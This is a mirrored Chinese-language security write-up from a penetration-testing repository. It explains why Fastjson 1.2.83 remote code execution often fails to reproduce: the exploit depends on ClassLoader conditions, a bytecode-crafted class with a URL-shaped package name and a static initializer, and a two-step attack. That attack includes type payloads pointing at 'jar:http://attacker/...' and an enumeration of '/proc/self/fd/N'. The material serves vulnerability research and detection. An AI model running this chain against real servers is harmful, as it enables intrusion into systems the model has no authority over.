mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2026-10-24 08:54:28 +00:00
671 lines
9.4 KiB
Markdown
671 lines
9.4 KiB
Markdown
# FastJson1.2.83漏洞利用坑点
|
||||
|
|
> 来源:https://xz.aliyun.com/news/92564
|
|||
|
|
|
|||
|
|
# Fastjson 1.2.83 漏洞坑点分析
|
|||
|
|
|
|||
|
|
|
|||
|
|
最近爆火的 Fastjson 1.2.83 漏洞,关于漏洞原理已经有很多师傅进行了详细分析,这里不再重复介绍源码细节。相信不少师傅在复现过程中会直接搭建一个 Spring Boot + Fastjson 1.2.83 环境,然后按照公开 EXP 测试,最后发现无法 RCE。
|
|||
|
|
|
|||
|
|
没错,我也是这么踩坑的。
|
|||
|
|
|
|||
|
|
最开始按网上流行的Docker环境复现,没有问题,但是如果按照公开环境自己启动项目搭建:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
Spring Boot FatJar
|
|||
|
|
+
|
|||
|
|
fastjson 1.2.83
|
|||
|
|
+
|
|||
|
|
JDK8
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
结果发现只能触发请求或者 SSRF,无法达到预期的远程代码执行。
|
|||
|
|
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
经过排查,发现这个漏洞的真正利用条件并不是简单的“Spring Boot + fastjson 1.2.83”,而是依赖特定的 ClassLoader 加载路径、POC 类构造方式以及 JDK 对远程类加载的限制。这里将复现过程中的几个关键坑点进行整理。Fastjson 历史漏洞大多围绕 AutoType 绕过和 Gadget 利用展开,而该类漏洞的特点在于不依赖传统 Gadget,而是利用 Fastjson 类型探测逻辑加载攻击者自定义 Class。
|
|||
|
|
|
|||
|
|
|
|||
|
|
# 一、Fastjson 1.2.83 漏洞 HTTP RCE 的关键条件
|
|||
|
|
|
|||
|
|
|
|||
|
|
很多文章描述该漏洞时,会直接强调:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
Spring Boot FatJar
|
|||
|
|
+
|
|||
|
|
fastjson 1.2.83
|
|||
|
|
+
|
|||
|
|
JDK8
|
|||
|
|
=
|
|||
|
|
RCE
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
但实际并不是这样。
|
|||
|
|
|
|||
|
|
关键问题在于 Fastjson 的 ClassLoader 使用方式。
|
|||
|
|
|
|||
|
|
默认情况下:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```java
|
|||
|
|
ParserConfig.getGlobalInstance()
|
|||
|
|
.getDefaultClassLoader()
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
返回:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
null
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
Fastjson 并不会自动绑定 Spring Boot 的 LaunchedURLClassLoader。
|
|||
|
|
|
|||
|
|
在没有额外配置的情况下,Fastjson 加载类时会优先尝试:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
ParserConfig.defaultClassLoader
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
Thread Context ClassLoader
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
其他 ClassLoader
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
普通 Spring Boot FatJar 环境:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
java -jar app.jar
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
LaunchedURLClassLoader
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
TomcatEmbeddedWebappClassLoader
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
业务代码
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
此时线程上下文 ClassLoader 通常是:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
TomcatEmbeddedWebappClassLoader
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
而不是直接的:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
LaunchedURLClassLoader
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
因此公开 EXP 中:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```java
|
|||
|
|
ParserConfig.getGlobalInstance()
|
|||
|
|
.setDefaultClassLoader(
|
|||
|
|
FastjsonApplication.class.getClassLoader()
|
|||
|
|
);
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
这一步非常关键。
|
|||
|
|
|
|||
|
|
它强制修改:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
Fastjson
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
ParserConfig.defaultClassLoader
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
LaunchedURLClassLoader
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
使后续:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
checkAutoType()
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
TypeUtils.loadClass()
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
LaunchedURLClassLoader
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
远程 Class/JAR 加载
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
能够成立。
|
|||
|
|
|
|||
|
|
因此真实 RCE 条件应该是:
|
|||
|
|
|
|||
|
|
1. fastjson 版本满足漏洞范围;
|
|||
|
|
|
|||
|
|
2. 存在外部可控 JSON 输入;
|
|||
|
|
|
|||
|
|
3. 存在 fastjson 类型解析路径;
|
|||
|
|
|
|||
|
|
4. Fastjson 最终使用支持目标资源解析的 ClassLoader;
|
|||
|
|
|
|||
|
|
5. 远程 Class 满足漏洞触发要求。
|
|||
|
|
|
|||
|
|
仅仅满足:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
Spring Boot + fastjson 1.2.83
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
并不能保证 RCE。
|
|||
|
|
|
|||
|
|
|
|||
|
|
# 二、EXP 制作的关键点
|
|||
|
|
|
|||
|
|
|
|||
|
|
该漏洞 EXP 最大的特点是不依赖传统 Gadget。
|
|||
|
|
|
|||
|
|
传统 Fastjson:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
@type
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
JdbcRowSetImpl / TemplatesImpl
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
已有危险类
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
RCE
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
而该漏洞:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
@type
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
加载攻击者自己的 Class
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
执行 static{}
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
RCE
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
因此 EXP 本身需要满足几个特殊条件。
|
|||
|
|
|
|||
|
|
|
|||
|
|
## 1\. 特殊包名
|
|||
|
|
|
|||
|
|
|
|||
|
|
POC 类的 package 不是正常 Java 包名,例如:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```java
|
|||
|
|
package jar:http:..xxx.xxx!;
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
原因是 Fastjson 会将用户输入的类型名转换为资源路径。
|
|||
|
|
|
|||
|
|
正常:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
com.test.POC
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
com/test/POC.class
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
而特殊构造:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
jar:http:..xxx.xxx!.POC
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
jar:http://xxx/xxx/POC.class
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
这样 ClassLoader 才会访问远程资源。
|
|||
|
|
|
|||
|
|
如果使用正常包名:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```java
|
|||
|
|
package com.test;
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
最终会尝试从本地 ClassPath 查找:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
com/test/POC.class
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
导致:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
ClassNotFoundException
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 2\. 必须添加 @JSONType
|
|||
|
|
|
|||
|
|
|
|||
|
|
POC:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```java
|
|||
|
|
@JSONType
|
|||
|
|
public class POC {
|
|||
|
|
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
这是该利用链的重要条件。
|
|||
|
|
|
|||
|
|
Fastjson 在处理目标类型时,会加载目标 class 并检查:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
JSONType 注解
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
如果没有:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
@JSONType
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
即使远程 Class 文件能够被访问,也无法进入后续利用流程。
|
|||
|
|
|
|||
|
|
需要注意:
|
|||
|
|
|
|||
|
|
@JSONType 本身不是执行点。
|
|||
|
|
|
|||
|
|
真正执行代码的位置是:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```java
|
|||
|
|
static {
|
|||
|
|
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
也就是 JVM 类初始化:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
<clinit>
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 3\. 不能通过正常 Java 编译
|
|||
|
|
|
|||
|
|
|
|||
|
|
由于 package:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
jar:http:..xxx!
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
包含:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
:
|
|||
|
|
/
|
|||
|
|
!
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
等非法字符。
|
|||
|
|
|
|||
|
|
所以:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```bash
|
|||
|
|
javac POC.java
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
无法执行。
|
|||
|
|
|
|||
|
|
攻击者需要使用:
|
|||
|
|
|
|||
|
|
●ASM
|
|||
|
|
|
|||
|
|
●Javassist
|
|||
|
|
|
|||
|
|
●Byte Buddy
|
|||
|
|
|
|||
|
|
等字节码生成工具。
|
|||
|
|
|
|||
|
|
直接修改 class 文件中的:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
this_class
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
信息。
|
|||
|
|
|
|||
|
|
最终生成:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
Java源码无法表示
|
|||
|
|
|
|||
|
|
但是 JVM 可以加载
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
的特殊 Class。
|
|||
|
|
|
|||
|
|
|
|||
|
|
# 三、实战攻击方式
|
|||
|
|
|
|||
|
|
|
|||
|
|
实际攻击过程并不是一次请求完成。
|
|||
|
|
|
|||
|
|
由于 JDK9+ 对 HTTP 远程 Class 加载进行了限制,直接:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
jar:http://target/class
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
可能无法完成 RCE。
|
|||
|
|
|
|||
|
|
因此出现了基于 /proc/self/fd 的利用方式。
|
|||
|
|
|
|||
|
|
攻击流程:
|
|||
|
|
|
|||
|
|
第一步:
|
|||
|
|
|
|||
|
|
发送:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
@type=jar:http://attacker/test.jar!/POC
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
目标 JVM:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
LaunchedURLClassLoader
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
下载 jar
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
缓存到临时文件
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
打开文件描述符
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
Linux 中:
|
|||
|
|
|
|||
|
|
即使文件被删除:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
/tmp/jar_cachexxxx.tmp (deleted)
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
只要 fd 未关闭:
|
|||
|
|
|
|||
|
|
仍然可以通过:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
/proc/self/fd/N
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
访问。
|
|||
|
|
|
|||
|
|
例如:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
28 -> /tmp/jar_cache5439791193547697721.tmp (deleted)
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
说明:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
fd=28
|
|||
|
|
|
|||
|
|
仍然保存 jar 内容
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
第二步:
|
|||
|
|
|
|||
|
|
重新构造:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
jar:file:/proc/self/fd/28!/POC
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
Fastjson 转换:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
jar:file:.proc.self.fd.28!.POC
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
最终:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
jar:file:/proc/self/fd/28!/POC.class
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
此时:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
远程 HTTP jar
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
本地 file URL
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
绕过远程 Class 加载限制
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
加载攻击 Class
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
执行 <clinit>
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
RCE
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
### EXP编写
|
|||
|
|
|
|||
|
|
|
|||
|
|
由于 `/proc/self/fd` 利用依赖 JVM 打开的文件描述符,而不同环境下 JDK、ClassLoader、缓存行为存在差异,实际攻击过程中很难提前知道目标 JVM 使用的是哪个 FD。因此在验证阶段,我编写了一个自动化 FD 遍历脚本。
|
|||
|
|
|
|||
|
|
攻击流程首先通过第一次请求触发目标 JVM 下载并缓存攻击者提供的 JAR 文件,使其保持打开状态;随后脚本自动遍历可能存在的 FD 范围,例如:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```latex
|
|||
|
|
/proc/self/fd/10
|
|||
|
|
/proc/self/fd/11
|
|||
|
|
...
|
|||
|
|
/proc/self/fd/100
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
并动态构造对应的:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```latex
|
|||
|
|
jar:file:/proc/self/fd/N!/POC
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
类型请求发送到目标服务。
|
|||
|
|
|
|||
|
|
由于无法直接获取目标 JVM 内部的文件描述符信息,脚本通过服务端响应状态进行判断。例如:
|
|||
|
|
|
|||
|
|
●正常失败:返回 Fastjson 异常信息;
|
|||
|
|
|
|||
|
|
●FD 不匹配:ClassNotFound 或加载失败;
|
|||
|
|
|
|||
|
|
●FD 匹配成功:触发 POC 类初始化,服务端响应状态发生变化。
|
|||
|
|
|
|||
|
|
这种方式本质上是利用 Linux 文件描述符稳定性不足的问题,通过枚举方式寻找 JVM 当前缓存 JAR 对应的 FD。虽然效率低于直接获取进程信息,但在黑盒攻击场景下,不需要目标主机权限,也不需要知道 JVM 内部状态,因此更符合真实漏洞验证场景。
|
|||
|
|
|
|||
|
|
最终完整利用链如下:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```latex
|
|||
|
|
第一次请求
|
|||
|
|
|
|||
|
|
jar:http://attacker/server.jar!/POC
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
目标 JVM 下载 jar
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
生成临时缓存文件
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
保持 FD 打开
|
|||
|
|
|
|||
|
|
|
|||
|
|
第二次请求
|
|||
|
|
|
|||
|
|
遍历:
|
|||
|
|
|
|||
|
|
jar:file:/proc/self/fd/N!/POC
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
匹配正确 FD
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
LaunchedURLClassLoader 加载 POC
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
执行 <clinit>
|
|||
|
|
|
|||
|
|
↓
|
|||
|
|
|
|||
|
|
RCE
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
通过这种方式,可以将一个依赖内部状态的利用链,转换为适用于黑盒环境的自动化探测流程。对于实际漏洞检测而言,重点不再是简单判断 fastjson 版本,而是验证完整链路是否能够从类型解析走到目标 Class 加载和初始化执行阶段。
|
|||
|
|
|
|||
|
|
附上链接:[https://github.com/0ctDay/Fastjson1.2.83\_EXP](https://github.com/0ctDay/Fastjson1.2.83_EXP)
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
# 总结
|
|||
|
|
|
|||
|
|
|
|||
|
|
Fastjson 1.2.83 这个漏洞最大的坑点在于:它不是传统意义上的 Fastjson Gadget RCE。很多师傅直接搭建 Spring Boot FatJar 环境无法复现,并不是环境错误,而是缺少关键 ClassLoader 条件。
|
|||
|
|
|
|||
|
|
真正利用需要关注三个方面:
|
|||
|
|
|
|||
|
|
第一,运行环境是否满足 ClassLoader 条件,尤其是 Fastjson 是否最终使用能够解析目标资源的 ClassLoader,而不是简单判断 Spring Boot FatJar。
|
|||
|
|
|
|||
|
|
第二,EXP 制作不是普通 Java 类,需要通过特殊 package、@JSONType 注解以及 ASM 字节码生成方式构造恶意 Class。
|
|||
|
|
|
|||
|
|
第三,实战利用需要考虑 JDK 版本差异,JDK9+ 环境下通常需要借助 /proc/self/fd 等机制,将远程下载的 jar 转换成本地文件语义,从而完成 Class 加载。
|
|||
|
|
|
|||
|
|
因此,该漏洞的真实利用模型应该理解为:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
Fastjson
|
|||
|
|
|
|||
|
|
+
|
|||
|
|
|
|||
|
|
特殊 ClassLoader 环境
|
|||
|
|
|
|||
|
|
+
|
|||
|
|
|
|||
|
|
恶意 Class 构造
|
|||
|
|
|
|||
|
|
+
|
|||
|
|
|
|||
|
|
JVM 类初始化
|
|||
|
|
|
|||
|
|
=
|
|||
|
|
|
|||
|
|
RCE
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
而不是简单的:
|
|||
|
|
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
Fastjson 1.2.83
|
|||
|
|
|
|||
|
|
=
|
|||
|
|
|
|||
|
|
直接 RCE
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
这也是该漏洞复现过程中最容易踩的坑。 参考链接:[https://mp.weixin.qq.com/s/hyKifHPIa9\_cI8bzCulSVQ](https://mp.weixin.qq.com/s/hyKifHPIa9_cI8bzCulSVQ)
|